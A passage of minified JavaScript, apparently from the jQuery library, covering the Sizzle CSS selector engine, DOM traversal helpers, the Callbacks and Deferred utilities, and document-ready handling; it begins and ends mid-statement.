Z.apply(n,t.getElementsByClassName(a)),n}if(w.qsa&&(!F||!F.test(e))){if(p=d=B,h=t,m=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){for(u=C(e),(d=t.getAttribute("id"))?p=d.replace(xt,"\\$&"):t.setAttribute("id",p),p="[id='"+p+"'] ",l=u.length;l--;)u[l]=p+f(u[l]);h=bt.test(e)&&c(t.parentNode)||t,m=u.join(",")}if(m)try{return Z.apply(n,h.querySelectorAll(m)),n}catch(g){}finally{d||t.removeAttribute("id")}}}return S(e.replace(lt,"$1"),t,n,r)}function n(){function e(n,r){return t.push(n+" ")>T.cacheLength&&delete e[t.shift()],e[n+" "]=r}var t=[];return e}function r(e){return e[B]=!0,e}function i(e){var t=H.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function o(e,t){for(var n=e.split("|"),r=e.length;r--;)T.attrHandle[n[r]]=t}function a(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||G)-(~e.sourceIndex||G);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function s(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function l(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function u(e){return r(function(t){return t=+t,r(function(n,r){for(var i,o=e([],n.length,t),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function c(e){return e&&typeof e.getElementsByTagName!==V&&e}function d(){}function f(e){for(var t=0,n=e.length,r="";n>t;t++)r+=e[t].value;return r}function p(e,t,n){var r=t.dir,i=n&&"parentNode"===r,o=W++;return t.first?function(t,n,o){for(;t=t[r];)if(1===t.nodeType||i)return e(t,n,o)}:function(t,n,a){var s,l,u=[I,o];if(a){for(;t=t[r];)if((1===t.nodeType||i)&&e(t,n,a))return!0}else for(;t=t[r];)if(1===t.nodeType||i){if(l=t[B]||(t[B]={}),(s=l[r])&&s[0]===I&&s[1]===o)return u[2]=s[2];if(l[r]=u,u[2]=e(t,n,a))return!0}}}function h(e){return e.length>1?function(t,n,r){for(var i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function m(e,n,r){for(var i=0,o=n.length;o>i;i++)t(e,n[i],r);return r}function g(e,t,n,r,i){for(var o,a=[],s=0,l=e.length,u=null!=t;l>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s));return a}function v(e,t,n,i,o,a){return i&&!i[B]&&(i=v(i)),o&&!o[B]&&(o=v(o,a)),r(function(r,a,s,l){var u,c,d,f=[],p=[],h=a.length,v=r||m(t||"*",s.nodeType?[s]:s,[]),y=!e||!r&&t?v:g(v,f,e,s,l),b=n?o||(r?e:h||i)?[]:a:y;if(n&&n(y,b,s,l),i)for(u=g(b,p),i(u,[],s,l),c=u.length;c--;)(d=u[c])&&(b[p[c]]=!(y[p[c]]=d));if(r){if(o||e){if(o){for(u=[],c=b.length;c--;)(d=b[c])&&u.push(y[c]=d);o(null,b=[],u,l)}for(c=b.length;c--;)(d=b[c])&&(u=o?tt.call(r,d):f[c])>-1&&(r[u]=!(a[u]=d))}}else b=g(b===a?b.splice(h,b.length):b),o?o(null,a,b,l):Z.apply(a,b)})}function y(e){for(var t,n,r,i=e.length,o=T.relative[e[0].type],a=o||T.relative[" "],s=o?1:0,l=p(function(e){return e===t},a,!0),u=p(function(e){return tt.call(t,e)>-1},a,!0),c=[function(e,n,r){return!o&&(r||n!==j)||((t=n).nodeType?l(e,n,r):u(e,n,r))}];i>s;s++)if(n=T.relative[e[s].type])c=[p(h(c),n)];else{if(n=T.filter[e[s].type].apply(null,e[s].matches),n[B]){for(r=++s;i>r&&!T.relative[e[r].type];r++);return v(s>1&&h(c),s>1&&f(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(lt,"$1"),n,r>s&&y(e.slice(s,r)),i>r&&y(e=e.slice(r)),i>r&&f(e))}c.push(n)}return h(c)}function b(e,n){var i=n.length>0,o=e.length>0,a=function(r,a,s,l,u){var c,d,f,p=0,h="0",m=r&&[],v=[],y=j,b=r||o&&T.find.TAG("*",u),x=I+=null==y?1:Math.random()||.1,w=b.length;for(u&&(j=a!==H&&a);h!==w&&null!=(c=b[h]);h++){if(o&&c){for(d=0;f=e[d++];)if(f(c,a,s)){l.push(c);break}u&&(I=x)}i&&((c=!f&&c)&&p--,r&&m.push(c))}if(p+=h,i&&h!==p){for(d=0;f=n[d++];)f(m,v,a,s);if(r){if(p>0)for(;h--;)m[h]||v[h]||(v[h]=K.call(l));v=g(v)}Z.apply(l,v),u&&!r&&v.length>0&&p+n.length>1&&t.uniqueSort(l)}return u&&(I=x,j=y),m};return i?r(a):a}var x,w,T,E,k,C,N,S,j,A,D,L,H,_,q,F,M,O,R,B="sizzle"+-new Date,P=e.document,I=0,W=0,$=n(),z=n(),X=n(),U=function(e,t){return e===t&&(D=!0),0},V="undefined",G=1<<31,Y={}.hasOwnProperty,J=[],K=J.pop,Q=J.push,Z=J.push,et=J.slice,tt=J.indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(this[t]===e)return t;return-1},nt="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",rt="[\\x20\\t\\r\\n\\f]",it="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",ot=it.replace("w","w#"),at="\\["+rt+"*("+it+")(?:"+rt+"*([*^$|!~]?=)"+rt+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+ot+"))|)"+rt+"*\\]",st=":("+it+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+at+")*)|.*)\\)|)",lt=new RegExp("^"+rt+"+|((?:^|[^\\\\])(?:\\\\.)*)"+rt+"+$","g"),ut=new RegExp("^"+rt+"*,"+rt+"*"),ct=new RegExp("^"+rt+"*([>+~]|"+rt+")"+rt+"*"),dt=new RegExp("="+rt+"*([^\\]'\"]*?)"+rt+"*\\]","g"),ft=new RegExp(st),pt=new RegExp("^"+ot+"$"),ht={ID:new RegExp("^#("+it+")"),CLASS:new RegExp("^\\.("+it+")"),TAG:new RegExp("^("+it.replace("w","w*")+")"),ATTR:new RegExp("^"+at),PSEUDO:new RegExp("^"+st),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+rt+"*(even|odd|(([+-]|)(\\d*)n|)"+rt+"*(?:([+-]|)"+rt+"*(\\d+)|))"+rt+"*\\)|)","i"),bool:new RegExp("^(?:"+nt+")$","i"),needsContext:new RegExp("^"+rt+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+rt+"*((?:-\\d)?\\d*)"+rt+"*\\)|)(?=[^-]|$)","i")},mt=/^(?:input|select|textarea|button)$/i,gt=/^h\d$/i,vt=/^[^{]+\{\s*\[native \w/,yt=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,bt=/[+~]/,xt=/'|\\/g,wt=new RegExp("\\\\([\\da-f]{1,6}"+rt+"?|("+rt+")|.)","ig"),Tt=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)};try{Z.apply(J=et.call(P.childNodes),P.childNodes),J[P.childNodes.length].nodeType}catch(Et){Z={apply:J.length?function(e,t){Q.apply(e,et.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}w=t.support={},k=t.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},L=t.setDocument=function(e){var t,n=e?e.ownerDocument||e:P,r=n.defaultView;return n!==H&&9===n.nodeType&&n.documentElement?(H=n,_=n.documentElement,q=!k(n),r&&r!==r.top&&(r.addEventListener?r.addEventListener("unload",function(){L()},!1):r.attachEvent&&r.attachEvent("onunload",function(){L()})),w.attributes=i(function(e){return e.className="i",!e.getAttribute("className")}),w.getElementsByTagName=i(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),w.getElementsByClassName=vt.test(n.getElementsByClassName)&&i(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),w.getById=i(function(e){return _.appendChild(e).id=B,!n.getElementsByName||!n.getElementsByName(B).length}),w.getById?(T.find.ID=function(e,t){if(typeof t.getElementById!==V&&q){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},T.filter.ID=function(e){var t=e.replace(wt,Tt);return function(e){return e.getAttribute("id")===t}}):(delete T.find.ID,T.filter.ID=function(e){var t=e.replace(wt,Tt);return function(e){var n=typeof e.getAttributeNode!==V&&e.getAttributeNode("id");return n&&n.value===t}}),T.find.TAG=w.getElementsByTagName?function(e,t){return typeof t.getElementsByTagName!==V?t.getElementsByTagName(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){for(;n=o[i++];)1===n.nodeType&&r.push(n);return r}return o},T.find.CLASS=w.getElementsByClassName&&function(e,t){return typeof t.getElementsByClassName!==V&&q?t.getElementsByClassName(e):void 0},M=[],F=[],(w.qsa=vt.test(n.querySelectorAll))&&(i(function(e){e.innerHTML="<select msallowclip=''><option selected=''></option></select>",e.querySelectorAll("[msallowclip^='']").length&&F.push("[*^$]="+rt+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||F.push("\\["+rt+"*(?:value|"+nt+")"),e.querySelectorAll(":checked").length||F.push(":checked")}),i(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&F.push("name"+rt+"*[*^$|!~]?="),e.querySelectorAll(":enabled").length||F.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),F.push(",.*:")})),(w.matchesSelector=vt.test(O=_.matches||_.webkitMatchesSelector||_.mozMatchesSelector||_.oMatchesSelector||_.msMatchesSelector))&&i(function(e){w.disconnectedMatch=O.call(e,"div"),O.call(e,"[s!='']:x"),M.push("!=",st)}),F=F.length&&new RegExp(F.join("|")),M=M.length&&new RegExp(M.join("|")),t=vt.test(_.compareDocumentPosition),R=t||vt.test(_.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},U=t?function(e,t){if(e===t)return D=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r?r:(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&r||!w.sortDetached&&t.compareDocumentPosition(e)===r?e===n||e.ownerDocument===P&&R(P,e)?-1:t===n||t.ownerDocument===P&&R(P,t)?1:A?tt.call(A,e)-tt.call(A,t):0:4&r?-1:1)}:function(e,t){if(e===t)return D=!0,0;var r,i=0,o=e.parentNode,s=t.parentNode,l=[e],u=[t];if(!o||!s)return e===n?-1:t===n?1:o?-1:s?1:A?tt.call(A,e)-tt.call(A,t):0;if(o===s)return a(e,t);for(r=e;r=r.parentNode;)l.unshift(r);for(r=t;r=r.parentNode;)u.unshift(r);for(;l[i]===u[i];)i++;return i?a(l[i],u[i]):l[i]===P?-1:u[i]===P?1:0},n):H},t.matches=function(e,n){return t(e,null,null,n)},t.matchesSelector=function(e,n){if((e.ownerDocument||e)!==H&&L(e),n=n.replace(dt,"='$1']"),!(!w.matchesSelector||!q||M&&M.test(n)||F&&F.test(n)))try{var r=O.call(e,n);if(r||w.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(i){}return t(n,H,null,[e]).length>0},t.contains=function(e,t){return(e.ownerDocument||e)!==H&&L(e),R(e,t)},t.attr=function(e,t){(e.ownerDocument||e)!==H&&L(e);var n=T.attrHandle[t.toLowerCase()],r=n&&Y.call(T.attrHandle,t.toLowerCase())?n(e,t,!q):void 0;return void 0!==r?r:w.attributes||!q?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},t.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},t.uniqueSort=function(e){var t,n=[],r=0,i=0;if(D=!w.detectDuplicates,A=!w.sortStable&&e.slice(0),e.sort(U),D){for(;t=e[i++];)t===e[i]&&(r=n.push(i));for(;r--;)e.splice(n[r],1)}return A=null,e},E=t.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=E(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r++];)n+=E(t);return n},T=t.selectors={cacheLength:50,createPseudo:r,match:ht,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(wt,Tt),e[3]=(e[3]||e[4]||e[5]||"").replace(wt,Tt),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||t.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&t.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return ht.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&ft.test(n)&&(t=C(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(wt,Tt).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=$[e+" "];return t||(t=new RegExp("(^|"+rt+")"+e+"("+rt+"|$)"))&&$(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==V&&e.getAttribute("class")||"")})},ATTR:function(e,n,r){return function(i){var o=t.attr(i,e);return null==o?"!="===n:n?(o+="","="===n?o===r:"!="===n?o!==r:"^="===n?r&&0===o.indexOf(r):"*="===n?r&&o.indexOf(r)>-1:"$="===n?r&&o.slice(-r.length)===r:"~="===n?(" "+o+" ").indexOf(r)>-1:"|="===n?o===r||o.slice(0,r.length+1)===r+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,l){var u,c,d,f,p,h,m=o!==a?"nextSibling":"previousSibling",g=t.parentNode,v=s&&t.nodeName.toLowerCase(),y=!l&&!s;if(g){if(o){for(;m;){for(d=t;d=d[m];)if(s?d.nodeName.toLowerCase()===v:1===d.nodeType)return!1;h=m="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?g.firstChild:g.lastChild],a&&y){for(c=g[B]||(g[B]={}),u=c[e]||[],p=u[0]===I&&u[1],f=u[0]===I&&u[2],d=p&&g.childNodes[p];d=++p&&d&&d[m]||(f=p=0)||h.pop();)if(1===d.nodeType&&++f&&d===t){c[e]=[I,p,f];break}}else if(y&&(u=(t[B]||(t[B]={}))[e])&&u[0]===I)f=u[1];else for(;(d=++p&&d&&d[m]||(f=p=0)||h.pop())&&((s?d.nodeName.toLowerCase()!==v:1!==d.nodeType)||!++f||(y&&((d[B]||(d[B]={}))[e]=[I,f]),d!==t)););return f-=i,f===r||f%r===0&&f/r>=0}}},PSEUDO:function(e,n){var i,o=T.pseudos[e]||T.setFilters[e.toLowerCase()]||t.error("unsupported pseudo: "+e);return o[B]?o(n):o.length>1?(i=[e,e,"",n],T.setFilters.hasOwnProperty(e.toLowerCase())?r(function(e,t){for(var r,i=o(e,n),a=i.length;a--;)r=tt.call(e,i[a]),e[r]=!(t[r]=i[a])}):function(e){return o(e,0,i)}):o}},pseudos:{not:r(function(e){var t=[],n=[],i=N(e.replace(lt,"$1"));return i[B]?r(function(e,t,n,r){for(var o,a=i(e,null,r,[]),s=e.length;s--;)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,r,o){return t[0]=e,i(t,null,o,n),!n.pop()}}),has:r(function(e){return function(n){return t(e,n).length>0}}),contains:r(function(e){return function(t){return(t.textContent||t.innerText||E(t)).indexOf(e)>-1}}),lang:r(function(e){return pt.test(e||"")||t.error("unsupported lang: "+e),e=e.replace(wt,Tt).toLowerCase(),function(t){var n;do if(n=q?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===_},focus:function(e){return e===H.activeElement&&(!H.hasFocus||H.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!T.pseudos.empty(e)},header:function(e){return gt.test(e.nodeName)},input:function(e){return mt.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:u(function(){return[0]}),last:u(function(e,t){return[t-1]}),eq:u(function(e,t,n){return[0>n?n+t:n]}),even:u(function(e,t){for(var n=0;t>n;n+=2)e.push(n);return e}),odd:u(function(e,t){for(var n=1;t>n;n+=2)e.push(n);return e}),lt:u(function(e,t,n){for(var r=0>n?n+t:n;--r>=0;)e.push(r);return e}),gt:u(function(e,t,n){for(var r=0>n?n+t:n;++r<t;)e.push(r);return e})}},T.pseudos.nth=T.pseudos.eq;for(x in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})T.pseudos[x]=s(x);for(x in{submit:!0,reset:!0})T.pseudos[x]=l(x);return d.prototype=T.filters=T.pseudos,T.setFilters=new d,C=t.tokenize=function(e,n){var r,i,o,a,s,l,u,c=z[e+" "];if(c)return n?0:c.slice(0);for(s=e,l=[],u=T.preFilter;s;){(!r||(i=ut.exec(s)))&&(i&&(s=s.slice(i[0].length)||s),l.push(o=[])),r=!1,(i=ct.exec(s))&&(r=i.shift(),o.push({value:r,type:i[0].replace(lt," ")}),s=s.slice(r.length));for(a in T.filter)!(i=ht[a].exec(s))||u[a]&&!(i=u[a](i))||(r=i.shift(),o.push({value:r,type:a,matches:i}),s=s.slice(r.length));if(!r)break}return n?s.length:s?t.error(e):z(e,l).slice(0)},N=t.compile=function(e,t){var n,r=[],i=[],o=X[e+" "];if(!o){for(t||(t=C(e)),n=t.length;n--;)o=y(t[n]),o[B]?r.push(o):i.push(o);o=X(e,b(i,r)),o.selector=e}return o},S=t.select=function(e,t,n,r){var i,o,a,s,l,u="function"==typeof e&&e,d=!r&&C(e=u.selector||e);if(n=n||[],1===d.length){if(o=d[0]=d[0].slice(0),o.length>2&&"ID"===(a=o[0]).type&&w.getById&&9===t.nodeType&&q&&T.relative[o[1].type]){if(t=(T.find.ID(a.matches[0].replace(wt,Tt),t)||[])[0],!t)return n;u&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(i=ht.needsContext.test(e)?0:o.length;i--&&(a=o[i],!T.relative[s=a.type]);)if((l=T.find[s])&&(r=l(a.matches[0].replace(wt,Tt),bt.test(o[0].type)&&c(t.parentNode)||t))){if(o.splice(i,1),e=r.length&&f(o),!e)return Z.apply(n,r),n;
+break}}return(u||N(e,d))(r,t,!q,n,bt.test(e)&&c(t.parentNode)||t),n},w.sortStable=B.split("").sort(U).join("")===B,w.detectDuplicates=!!D,L(),w.sortDetached=i(function(e){return 1&e.compareDocumentPosition(H.createElement("div"))}),i(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||o("type|href|height|width",function(e,t,n){return n?void 0:e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),w.attributes&&i(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||o("value",function(e,t,n){return n||"input"!==e.nodeName.toLowerCase()?void 0:e.defaultValue}),i(function(e){return null==e.getAttribute("disabled")})||o(nt,function(e,t,n){var r;return n?void 0:e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),t}(e);it.find=ut,it.expr=ut.selectors,it.expr[":"]=it.expr.pseudos,it.unique=ut.uniqueSort,it.text=ut.getText,it.isXMLDoc=ut.isXML,it.contains=ut.contains;var ct=it.expr.match.needsContext,dt=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,ft=/^.[^:#\[\.,]*$/;it.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?it.find.matchesSelector(r,e)?[r]:[]:it.find.matches(e,it.grep(t,function(e){return 1===e.nodeType}))},it.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(it(e).filter(function(){for(t=0;i>t;t++)if(it.contains(r[t],this))return!0}));for(t=0;i>t;t++)it.find(e,r[t],n);return n=this.pushStack(i>1?it.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},filter:function(e){return this.pushStack(r(this,e||[],!1))},not:function(e){return this.pushStack(r(this,e||[],!0))},is:function(e){return!!r(this,"string"==typeof e&&ct.test(e)?it(e):e||[],!1).length}});var pt,ht=e.document,mt=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,gt=it.fn.init=function(e,t){var n,r;if(!e)return this;if("string"==typeof e){if(n="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:mt.exec(e),!n||!n[1]&&t)return!t||t.jquery?(t||pt).find(e):this.constructor(t).find(e);if(n[1]){if(t=t instanceof it?t[0]:t,it.merge(this,it.parseHTML(n[1],t&&t.nodeType?t.ownerDocument||t:ht,!0)),dt.test(n[1])&&it.isPlainObject(t))for(n in t)it.isFunction(this[n])?this[n](t[n]):this.attr(n,t[n]);return this}if(r=ht.getElementById(n[2]),r&&r.parentNode){if(r.id!==n[2])return pt.find(e);this.length=1,this[0]=r}return this.context=ht,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):it.isFunction(e)?"undefined"!=typeof pt.ready?pt.ready(e):e(it):(void 0!==e.selector&&(this.selector=e.selector,this.context=e.context),it.makeArray(e,this))};gt.prototype=it.fn,pt=it(ht);var vt=/^(?:parents|prev(?:Until|All))/,yt={children:!0,contents:!0,next:!0,prev:!0};it.extend({dir:function(e,t,n){for(var r=[],i=e[t];i&&9!==i.nodeType&&(void 0===n||1!==i.nodeType||!it(i).is(n));)1===i.nodeType&&r.push(i),i=i[t];return r},sibling:function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}}),it.fn.extend({has:function(e){var t,n=it(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(it.contains(this,n[t]))return!0})},closest:function(e,t){for(var n,r=0,i=this.length,o=[],a=ct.test(e)||"string"!=typeof e?it(e,t||this.context):0;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&it.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?it.unique(o):o)},index:function(e){return e?"string"==typeof e?it.inArray(this[0],it(e)):it.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(it.unique(it.merge(this.get(),it(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),it.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return it.dir(e,"parentNode")},parentsUntil:function(e,t,n){return it.dir(e,"parentNode",n)},next:function(e){return i(e,"nextSibling")},prev:function(e){return i(e,"previousSibling")},nextAll:function(e){return it.dir(e,"nextSibling")},prevAll:function(e){return it.dir(e,"previousSibling")},nextUntil:function(e,t,n){return it.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return it.dir(e,"previousSibling",n)},siblings:function(e){return it.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return it.sibling(e.firstChild)},contents:function(e){return it.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:it.merge([],e.childNodes)}},function(e,t){it.fn[e]=function(n,r){var i=it.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=it.filter(r,i)),this.length>1&&(yt[e]||(i=it.unique(i)),vt.test(e)&&(i=i.reverse())),this.pushStack(i)}});var bt=/\S+/g,xt={};it.Callbacks=function(e){e="string"==typeof e?xt[e]||o(e):it.extend({},e);var t,n,r,i,a,s,l=[],u=!e.once&&[],c=function(o){for(n=e.memory&&o,r=!0,a=s||0,s=0,i=l.length,t=!0;l&&i>a;a++)if(l[a].apply(o[0],o[1])===!1&&e.stopOnFalse){n=!1;break}t=!1,l&&(u?u.length&&c(u.shift()):n?l=[]:d.disable())},d={add:function(){if(l){var r=l.length;!function o(t){it.each(t,function(t,n){var r=it.type(n);"function"===r?e.unique&&d.has(n)||l.push(n):n&&n.length&&"string"!==r&&o(n)})}(arguments),t?i=l.length:n&&(s=r,c(n))}return this},remove:function(){return l&&it.each(arguments,function(e,n){for(var r;(r=it.inArray(n,l,r))>-1;)l.splice(r,1),t&&(i>=r&&i--,a>=r&&a--)}),this},has:function(e){return e?it.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],i=0,this},disable:function(){return l=u=n=void 0,this},disabled:function(){return!l},lock:function(){return u=void 0,n||d.disable(),this},locked:function(){return!u},fireWith:function(e,n){return!l||r&&!u||(n=n||[],n=[e,n.slice?n.slice():n],t?u.push(n):c(n)),this},fire:function(){return d.fireWith(this,arguments),this},fired:function(){return!!r}};return d},it.extend({Deferred:function(e){var t=[["resolve","done",it.Callbacks("once memory"),"resolved"],["reject","fail",it.Callbacks("once memory"),"rejected"],["notify","progress",it.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return it.Deferred(function(n){it.each(t,function(t,o){var a=it.isFunction(e[t])&&e[t];i[o[1]](function(){var e=a&&a.apply(this,arguments);e&&it.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[o[0]+"With"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?it.extend(e,r):r}},i={};return r.pipe=r.then,it.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t,n,r,i=0,o=Y.call(arguments),a=o.length,s=1!==a||e&&it.isFunction(e.promise)?a:0,l=1===s?e:it.Deferred(),u=function(e,n,r){return function(i){n[e]=this,r[e]=arguments.length>1?Y.call(arguments):i,r===t?l.notifyWith(n,r):--s||l.resolveWith(n,r)}};if(a>1)for(t=new Array(a),n=new Array(a),r=new Array(a);a>i;i++)o[i]&&it.isFunction(o[i].promise)?o[i].promise().done(u(i,r,o)).fail(l.reject).progress(u(i,n,t)):--s;return s||l.resolveWith(r,o),l.promise()}});var wt;it.fn.ready=function(e){return it.ready.promise().done(e),this},it.extend({isReady:!1,readyWait:1,holdReady:function(e){e?it.readyWait++:it.ready(!0)},ready:function(e){if(e===!0?!--it.readyWait:!it.isReady){if(!ht.body)return setTimeout(it.ready);it.isReady=!0,e!==!0&&--it.readyWait>0||(wt.resolveWith(ht,[it]),it.fn.triggerHandler&&(it(ht).triggerHandler("ready"),it(ht).off("ready")))}}}),it.ready.promise=function(t){if(!wt)if(wt=it.Deferred(),"complete"===ht.readyState)setTimeout(it.ready);else if(ht.addEventListener)ht.addEventListener("DOMContentLoaded",s,!1),e.addEventListener("load",s,!1);else{ht.attachEvent("onreadystatechange",s),e.attachEvent("onload",s);var n=!1;try{n=null==e.frameElement&&ht.documentElement}catch(r){}n&&n.doScroll&&!function i(){if(!it.isReady){try{n.doScroll("left")}catch(e){return setTimeout(i,50)}a(),it.ready()}}()}return wt.promise(t)};var Tt,Et="undefined";for(Tt in it(nt))break;nt.ownLast="0"!==Tt,nt.inlineBlockNeedsLayout=!1,it(function(){var e,t,n,r;n=ht.getElementsByTagName("body")[0],n&&n.style&&(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),typeof t.style.zoom!==Et&&(t.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",nt.inlineBlockNeedsLayout=e=3===t.offsetWidth,e&&(n.style.zoom=1)),n.removeChild(r))}),function(){var e=ht.createElement("div");if(null==nt.deleteExpando){nt.deleteExpando=!0;try{delete 